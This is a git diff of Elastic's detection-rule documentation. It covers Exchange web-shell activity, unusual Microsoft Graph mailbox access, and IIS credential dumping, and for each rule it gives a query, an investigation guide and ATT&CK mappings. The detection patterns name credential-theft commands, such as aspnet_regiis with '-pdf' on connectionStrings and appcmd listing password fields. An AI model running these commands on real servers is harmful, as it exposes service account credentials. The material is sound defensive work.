Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Exploitation of Remote Services +** ID: T1210 +** Reference URL: https://attack.mitre.org/techniques/T1210/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-microsoft-exchange-server-um-writing-suspicious-files.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-microsoft-exchange-server-um-writing-suspicious-files.asciidoc new file mode 100644 index 0000000000..e80ca111ed --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-microsoft-exchange-server-um-writing-suspicious-files.asciidoc @@ -0,0 +1,122 @@ +[[prebuilt-rule-8-19-21-microsoft-exchange-server-um-writing-suspicious-files]] +=== Microsoft Exchange Server UM Writing Suspicious Files + +Identifies suspicious files being written by the Microsoft Exchange Server Unified Messaging (UM) service. This activity has been observed exploiting CVE-2021-26858. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.file-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers +* https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Lateral Movement +* Data Source: Elastic Endgame +* Use Case: Vulnerability +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 313 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +Positive hits can be checked against the established Microsoft https://github.com/microsoft/CSS-Exchange/tree/main/Security/Baselines[baselines]. + +Microsoft highly recommends that the best course of action is patching, but this may not protect already compromised systems +from existing intrusions. Other tools for detecting and mitigating can be found within their Exchange support +https://github.com/microsoft/CSS-Exchange/tree/main/Security[repository] + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.type == "creation" and + process.name : ("UMWorkerProcess.exe", "umservice.exe") and + file.extension : ("php", "jsp", "js", "aspx", "asmx", "asax", "cfm", "shtml") and + ( + file.path : "?:\\inetpub\\wwwroot\\aspnet_client\\*" or + + (file.path : "?:\\*\\Microsoft\\Exchange Server*\\FrontEnd\\HttpProxy\\owa\\auth\\*" and + not (file.path : "?:\\*\\Microsoft\\Exchange Server*\\FrontEnd\\HttpProxy\\owa\\auth\\version\\*" or + file.name : ("errorFE.aspx", "expiredpassword.aspx", "frowny.aspx", "GetIdToken.htm", "logoff.aspx", + "logon.aspx", "OutlookCN.aspx", "RedirSuiteServiceProxy.aspx", "signout.aspx"))) or + + (file.path : "?:\\*\\Microsoft\\Exchange Server*\\FrontEnd\\HttpProxy\\ecp\\auth\\*" and + not file.name : "TimeoutLogoff.aspx") + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Exploitation of Remote Services +** ID: T1210 +** Reference URL: https://attack.mitre.org/techniques/T1210/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Server Software Component +** ID: T1505 +** Reference URL: https://attack.mitre.org/techniques/T1505/ +* Sub-technique: +** Name: Web Shell +** ID: T1505.003 +** Reference URL: https://attack.mitre.org/techniques/T1505/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-microsoft-exchange-worker-spawning-suspicious-processes.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-microsoft-exchange-worker-spawning-suspicious-processes.asciidoc new file mode 100644 index 0000000000..e79d9f3f1d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-microsoft-exchange-worker-spawning-suspicious-processes.asciidoc @@ -0,0 +1,157 @@ +[[prebuilt-rule-8-19-21-microsoft-exchange-worker-spawning-suspicious-processes]] +=== Microsoft Exchange Worker Spawning Suspicious Processes + +Identifies suspicious processes being spawned by the Microsoft Exchange Server worker process (w3wp). This activity may indicate exploitation activity or access to an existing web shell backdoor. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* winlogbeat-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers +* https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities +* https://discuss.elastic.co/t/detection-and-response-for-hafnium-activity/266289 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 315 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Microsoft Exchange Worker Spawning Suspicious Processes* + + +Microsoft Exchange Server uses the worker process (w3wp.exe) to handle web requests, often running under specific application pools. Adversaries exploit this by executing malicious scripts or commands, potentially via web shells, to gain unauthorized access or execute arbitrary code. The detection rule identifies unusual child processes like command-line interpreters spawned by w3wp.exe, signaling possible exploitation or backdoor activity. + + +*Possible investigation steps* + + +- Review the alert details to confirm the parent process is w3wp.exe and check if the process arguments include "MSExchange*AppPool" to ensure the alert is relevant to Microsoft Exchange. +- Examine the child process details, focusing on the process names and original file names such as cmd.exe, powershell.exe, pwsh.exe, and powershell_ise.exe, to identify any unauthorized or unexpected command-line activity. +- Investigate the timeline of events leading up to the alert, including any preceding or subsequent processes, to understand the context and potential impact of the suspicious activity. +- Check for any associated network activity or connections initiated by the suspicious processes to identify potential data exfiltration or communication with external command and control servers. +- Review recent changes or access logs on the affected Exchange server to identify any unauthorized access attempts or modifications that could indicate exploitation or the presence of a web shell. +- Correlate the alert with other security events or logs from data sources like Elastic Endgame, Elastic Defend, Sysmon, Microsoft Defender XDR, or SentinelOne to gather additional context and corroborate findings. +- Assess the risk and impact of the detected activity, considering the severity and risk score, and determine appropriate response actions, such as isolating the affected system or conducting a deeper forensic analysis. + + +*False positive analysis* + + +- Routine administrative tasks may trigger the rule if administrators use command-line tools like cmd.exe or powershell.exe for legitimate maintenance. To manage this, create exceptions for known administrative accounts or specific IP addresses that regularly perform these tasks. +- Scheduled tasks or scripts that run under the MSExchangeAppPool context might spawn command-line interpreters as part of their normal operation. Identify these tasks and exclude them by specifying their unique process arguments or command lines. +- Monitoring or backup software that interacts with Exchange Server could inadvertently trigger the rule. Review the software's documentation to confirm its behavior and exclude its processes by name or hash if they are verified as safe. +- Custom applications or integrations that interact with Exchange Server and use command-line tools for automation may also cause false positives. Work with application developers to understand these interactions and exclude them based on process names or specific command-line patterns. +- If a known security tool or script is used to test Exchange Server's security posture, it might mimic suspicious behavior. Document these tools and exclude their processes during scheduled testing periods to avoid false alerts. + + +*Response and remediation* + + +- Immediately isolate the affected Microsoft Exchange Server from the network to prevent further unauthorized access or lateral movement. +- Terminate any suspicious processes identified as being spawned by w3wp.exe, such as cmd.exe or powershell.exe, to halt any ongoing malicious activity. +- Conduct a thorough review of the server's application pools and web directories to identify and remove any unauthorized web shells or scripts. +- Restore the server from a known good backup taken before the suspicious activity was detected to ensure system integrity. +- Apply the latest security patches and updates to the Microsoft Exchange Server to mitigate known vulnerabilities and prevent exploitation. +- Monitor network traffic and server logs for any signs of continued or attempted exploitation, focusing on unusual outbound connections or repeated access attempts. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems have been compromised. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name : "w3wp.exe" and process.parent.args : "MSExchange*AppPool" and + ( + (process.name : ("cmd.exe", "powershell.exe", "pwsh.exe", "powershell_ise.exe") or + ?process.pe.original_file_name in ("Cmd.Exe", "PowerShell.EXE", "pwsh.dll", "powershell_ise.EXE")) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Server Software Component +** ID: T1505 +** Reference URL: https://attack.mitre.org/techniques/T1505/ +* Sub-technique: +** Name: Web Shell +** ID: T1505.003 +** Reference URL: https://attack.mitre.org/techniques/T1505/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-microsoft-graph-request-email-access-by-unusual-user-and-client.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-microsoft-graph-request-email-access-by-unusual-user-and-client.asciidoc new file mode 100644 index 0000000000..214e69f0fd --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-microsoft-graph-request-email-access-by-unusual-user-and-client.asciidoc @@ -0,0 +1,150 @@ +[[prebuilt-rule-8-19-21-microsoft-graph-request-email-access-by-unusual-user-and-client]] +=== Microsoft Graph Request Email Access by Unusual User and Client + +Identifies access to email resources via Microsoft Graph API using an first-party application on behalf of a user principal. This behavior may indicate an adversary using a phished OAuth refresh token or a Primary Refresh Token (PRT) to access email resources. The pattern includes requests to Microsoft Graph API endpoints related to email, such as /me/mailFolders/inbox/messages or /users/{user_id}/messages, using a public client application ID and a user principal object ID. This is a New Terms rule that only signals if the application ID and user principal object ID have not been seen doing this activity in the last 14 days. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-azure.graphactivitylogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.volexity.com/blog/2025/04/22/phishing-for-codes-russian-threat-actors-target-microsoft-365-oauth-workflows/ +* https://github.com/dirkjanm/ROADtools +* https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/ +* https://pushsecurity.com/blog/consentfix + +*Tags*: + +* Domain: Cloud +* Domain: Email +* Data Source: Azure +* Data Source: Microsoft Graph +* Data Source: Microsoft Graph Activity Logs +* Use Case: Threat Detection +* Tactic: Collection +* Resources: Investigation Guide + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Microsoft Graph Request Email Access by Unusual User and Client* + + +This rule detects instances where a previously unseen or rare Microsoft Graph application client ID accesses email-related APIs, such as `/me/messages`, `/sendMail`, or `/mailFolders/inbox/messages`. These accesses are performed via delegated user credentials using common OAuth scopes like `Mail.Read`, `Mail.ReadWrite`, `Mail.Send`, or `email`. This activity may indicate unauthorized use of a newly consented or compromised application to read or exfiltrate mail content. This is a New Terms rule that only signals if the application ID (`azure.graphactivitylogs.properties.app_id`) and user principal object ID (`azure.graphactivitylogs.properties.user_principal_object_id`) have not been seen doing this activity in the last 14 days. + + +*Possible Investigation Steps:* + + +- `azure.graphactivitylogs.properties.app_id`: Investigate the application ID involved. Is it known and sanctioned in your tenant? Pivot to Azure Portal → Enterprise Applications → Search by App ID to determine app details, publisher, and consent status. +- `azure.graphactivitylogs.properties.scopes`: Review the scopes requested by the application. Email-related scopes such as `Mail.ReadWrite` and `Mail.Send` are especially sensitive and suggest the app is interacting with mail content. +- `url.path` / `azure.graphactivitylogs.properties.requestUri`: Determine exactly which mail-related APIs were accessed (e.g., reading inbox, sending messages, enumerating folders). +- `user.id`: Identify the user whose credentials were used. Determine if the user recently consented to a new app, clicked a phishing link, or reported suspicious activity. +- `user_agent.original`: Check for suspicious automation tools (e.g., `python-requests`, `curl`, non-browser agents), which may suggest scripted access. +- `source.ip` and `client.geo`: Investigate the source IP and geography. Look for unusual access from unexpected countries, VPS providers, or anonymizing services. +- `http.request.method`: Determine intent based on HTTP method — `GET` (reading), `POST` (sending), `PATCH`/`DELETE` (modifying/removing messages). +- `token_issued_at` and `@timestamp`: Determine how long the token has been active and whether access is ongoing or recent. +- `azure.graphactivitylogs.properties.c_sid`: Use the session correlation ID to identify other related activity in the same session. This may help identify if the app is accessing multiple users' mailboxes or if the same user is accessing multiple apps. +- Correlate with Microsoft Entra ID (`azure.auditlogs` and `azure.signinlogs`) to determine whether: + - The app was recently granted admin or user consent + - Risky sign-ins occurred just prior to or after mail access + - The same IP or app ID appears across multiple users + + +*False Positive Analysis* + + +- New legitimate apps may appear after a user consents via OAuth. Developers, third-party tools, or IT-supplied utilities may access mail APIs if users consent. +- Users leveraging Microsoft development environments (e.g., Visual Studio Code) may trigger this behavior with delegated `.default` permissions. +- Admin-approved apps deployed via conditional access may trigger similar access logs if not previously seen in detection baselines. + + +*Response and Remediation* + + +- If access is unauthorized or unexpected: + - Revoke the app's consent in Azure AD via the Enterprise Applications blade. + - Revoke user refresh tokens via Microsoft Entra or PowerShell. + - Investigate the user's session and alert them to possible phishing or OAuth consent abuse. +- Review and restrict risky OAuth permissions in Conditional Access and App Governance policies. +- Add known, trusted app IDs to a detection allowlist to reduce noise in the future. +- Continue monitoring the app ID for additional usage across the tenant or from suspicious IPs. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.graphactivitylogs + and azure.graphactivitylogs.properties.app_id:* + and azure.graphactivitylogs.result_signature:200 + and azure.graphactivitylogs.properties.c_idtyp:user + and azure.graphactivitylogs.properties.client_auth_method:0 + and http.request.method:(DELETE or GET or PATCH or POST or PUT) + and ( + ( + url.path:(/v1.0/me/*cc or /v1.0/users/*) + and ( + url.path:((*inbox* or *mail* or *messages*) and not *mailboxSettings*) + or azure.graphactivitylogs.properties.requestUri:(*inbox* or *mail* or *messages*) + ) + ) + or azure.graphactivitylogs.properties.scopes:(Mail.Read or Mail.ReadWrite or Mail.Send) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Email Collection +** ID: T1114 +** Reference URL: https://attack.mitre.org/techniques/T1114/ +* Sub-technique: +** Name: Remote Email Collection +** ID: T1114.002 +** Reference URL: https://attack.mitre.org/techniques/T1114/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-microsoft-graph-request-user-impersonation-by-unusual-client.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-microsoft-graph-request-user-impersonation-by-unusual-client.asciidoc new file mode 100644 index 0000000000..2961abc1c0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-microsoft-graph-request-user-impersonation-by-unusual-client.asciidoc @@ -0,0 +1,157 @@ +[[prebuilt-rule-8-19-21-microsoft-graph-request-user-impersonation-by-unusual-client]] +=== Microsoft Graph Request User Impersonation by Unusual Client + +This New Terms rule focuses on the first occurrence of a client application ID (azure.graphactivitylogs.properties.app_id) making a request to Microsoft Graph API for a specific tenant ID (azure.tenant_id) and user principal object ID (azure.graphactivitylogs.properties.user_principal_object_id). This rule may helps identify unauthorized access or actions performed by compromised accounts. Advesaries may succesfully compromise a user's credentials and use the Microsoft Graph API to access resources or perform actions on behalf of the user. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-azure.graphactivitylogs-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.volexity.com/blog/2025/04/22/phishing-for-codes-russian-threat-actors-target-microsoft-365-oauth-workflows/ +* https://pushsecurity.com/blog/consentfix + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Data Source: Microsoft Graph +* Data Source: Microsoft Graph Activity Logs +* Resources: Investigation Guide +* Use Case: Identity and Access Audit +* Tactic: Initial Access + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Microsoft Graph Request User Impersonation by Unusual Client* + + +This rule detects the first observed occurrence of a Microsoft Graph API request by a specific client application ID (`azure.graphactivitylogs.properties.app_id`) in combination with a user principal object ID (`azure.graphactivitylogs.properties.user_principal_object_id`) and tenant ID (`azure.tenant_id`) within specific number of days. This may indicate unauthorized access following a successful phishing attempt, token theft, or abuse of OAuth workflows. + +Adversaries frequently exploit legitimate Microsoft or third-party application IDs to avoid raising suspicion during initial access. By using pre-consented or trusted apps to interact with Microsoft Graph, attackers can perform actions on behalf of users without triggering conventional authentication alerts or requiring additional user interaction. + + +*Possible investigation steps* + + +- Review `azure.graphactivitylogs.properties.user_principal_object_id` and correlate with recent sign-in logs for the associated user. +- Determine whether `azure.graphactivitylogs.properties.app_id` is a known and approved application in your environment. +- Investigate the `user_agent.original` field for signs of scripted access (e.g., automation tools or libraries). +- Check the source IP address (`source.ip`) and geolocation data (`source.geo.*`) for unfamiliar origins. +- Inspect `azure.graphactivitylogs.properties.scopes` to understand the level of access being requested by the app. +- Examine any follow-up Graph API activity from the same `app_id` or `user_principal_object_id` for signs of data access or exfiltration. +- Correlate with device or session ID fields (`azure.graphactivitylogs.properties.c_sid`, if present) to detect persistent or repeat activity. + + +*False positive analysis* + + +- First-time use of a legitimate Microsoft or enterprise-approved application. +- Developer or automation workflows initiating new Graph API requests. +- Valid end-user activity following device reconfiguration or new client installation. +- Maintain an allowlist of expected `app_id` values and known developer tools. +- Suppress detections from known good `user_agent.original` strings or approved source IP ranges. +- Use device and identity telemetry to distinguish trusted vs. unknown activity sources. +- Combine with session risk or sign-in anomaly signals where available. + + +*Response and remediation* + + +- Reach out to the user and verify whether they authorized the application access. +- Revoke active OAuth tokens and reset credentials if unauthorized use is confirmed. +- Search for additional Graph API calls made by the same `app_id` or `user_principal_object_id`. +- Investigate whether sensitive resources (mail, files, Teams, contacts) were accessed. +- Apply Conditional Access policies to limit Graph API access by app type, IP, or device state. +- Restrict user consent for third-party apps and enforce admin approval workflows. +- Monitor usage of new or uncommon `app_id` values across your tenant. +- Provide user education on OAuth phishing tactics and reporting suspicious prompts. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "azure.graphactivitylogs" + and event.type: "access" + and azure.graphactivitylogs.properties.app_id: * + and azure.graphactivitylogs.properties.c_idtyp: "user" + and azure.graphactivitylogs.properties.client_auth_method: 0 + and http.response.status_code: 200 + and url.domain: "graph.microsoft.com" + and not url.path: ( + /v1.0/organization + or /v1.0/me/licenseDetails + or /v1.0/me/photo* + or /v1.0/me/photos* + or /beta/me/settings/regionalAndLanguageSettings + or /v1.0/me/drive/special/copilotuploads + or /v1.0/me/informationProtection/sensitivityLabels + or /beta/me/informationProtection/dataLossPreventionPolicies + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Application Access Token +** ID: T1528 +** Reference URL: https://attack.mitre.org/techniques/T1528/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-microsoft-iis-connection-strings-decryption.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-microsoft-iis-connection-strings-decryption.asciidoc new file mode 100644 index 0000000000..2fe310ccea --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-microsoft-iis-connection-strings-decryption.asciidoc @@ -0,0 +1,136 @@ +[[prebuilt-rule-8-19-21-microsoft-iis-connection-strings-decryption]] +=== Microsoft IIS Connection Strings Decryption + +Identifies use of aspnet_regiis to decrypt Microsoft IIS connection strings. An attacker with Microsoft IIS web server access via a webshell or alike can decrypt and dump any hardcoded connection strings, such as the MSSQL service account password using aspnet_regiis command. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 33 + +*References*: + +* https://blog.netspi.com/decrypting-iis-passwords-to-break-out-of-the-dmz-part-1/ +* https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/greenbug-espionage-telco-south-asia + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 318 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Microsoft IIS Connection Strings Decryption* + + +Microsoft IIS often stores sensitive connection strings in encrypted form to secure database credentials. The `aspnet_regiis` tool can decrypt these strings, a feature intended for legitimate administrative tasks. However, attackers with access to the IIS server, possibly via a webshell, can exploit this to extract credentials. The detection rule identifies suspicious use of `aspnet_regiis` by monitoring process execution with specific arguments, flagging potential credential access attempts. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the presence of aspnet_regiis.exe with the specific arguments "connectionStrings" and "-pdf" to ensure the alert is not a false positive. +- Check the user account associated with the process execution to determine if it is a legitimate administrative account or a potentially compromised one. +- Investigate the source of the process initiation by examining the parent process and any related processes to identify if a webshell or unauthorized script triggered the execution. +- Analyze recent login activities and access logs on the IIS server to identify any unusual or unauthorized access patterns that could indicate a compromise. +- Review the server's security logs and any available network traffic data to detect any signs of data exfiltration or further malicious activity following the decryption attempt. +- Assess the integrity and security of the IIS server by checking for any unauthorized changes or suspicious files that may have been introduced by an attacker. + + +*False positive analysis* + + +- Routine administrative tasks using aspnet_regiis for legitimate configuration changes can trigger the rule. To manage this, create exceptions for known maintenance windows or specific administrator accounts performing these tasks. +- Automated deployment scripts that include aspnet_regiis for setting up or updating IIS configurations may cause false positives. Exclude these scripts by identifying their unique process arguments or execution paths. +- Scheduled tasks or services that periodically run aspnet_regiis for configuration validation or updates might be flagged. Document these tasks and exclude them based on their scheduled times or associated service accounts. +- Development environments where developers frequently use aspnet_regiis for testing purposes can generate alerts. Consider excluding specific development servers or user accounts from the rule to reduce noise. +- Security tools or monitoring solutions that simulate attacks for testing purposes may inadvertently trigger the rule. Coordinate with security teams to whitelist these tools or their specific test scenarios. + + +*Response and remediation* + + +- Immediately isolate the affected IIS server from the network to prevent further unauthorized access and potential data exfiltration. +- Terminate any suspicious processes related to aspnet_regiis.exe to halt any ongoing decryption attempts. +- Conduct a thorough review of IIS server logs and webshell activity to identify the source of the compromise and any other affected systems. +- Change all credentials associated with the decrypted connection strings, including database passwords and service account credentials, to prevent unauthorized access. +- Restore the IIS server from a known good backup taken before the compromise, ensuring that any webshells or malicious scripts are removed. +- Implement enhanced monitoring and alerting for any future unauthorized use of aspnet_regiis.exe, focusing on the specific arguments used in the detection query. +- Escalate the incident to the security operations center (SOC) or relevant incident response team for further investigation and to assess the broader impact on the organization. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name : "aspnet_regiis.exe" or ?process.pe.original_file_name == "aspnet_regiis.exe") and + process.args : "connectionStrings" and process.args : "-pdf" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Credentials In Files +** ID: T1552.001 +** Reference URL: https://attack.mitre.org/techniques/T1552/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-microsoft-iis-service-account-password-dumped.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-microsoft-iis-service-account-password-dumped.asciidoc new file mode 100644 index 0000000000..14ede0285d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-microsoft-iis-service-account-password-dumped.asciidoc @@ -0,0 +1,89 @@ +[[prebuilt-rule-8-19-21-microsoft-iis-service-account-password-dumped]] +=== Microsoft IIS Service Account Password Dumped + +Identifies the Internet Information Services (IIS) command-line tool, AppCmd, being used to dump sensitive configuration data such as application pool credentials. An attacker with IIS web server access via a web shell can extract service account passwords by requesting full configuration output or targeting credential-related fields. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.netspi.com/decrypting-iis-passwords-to-break-out-of-the-dmz-part-1/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 219 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name : "appcmd.exe" or ?process.pe.original_file_name == "appcmd.exe") and + process.args : "list" and + ( + process.args : ("/text:*password*", "/text:*processModel*", "/text:*userName*", 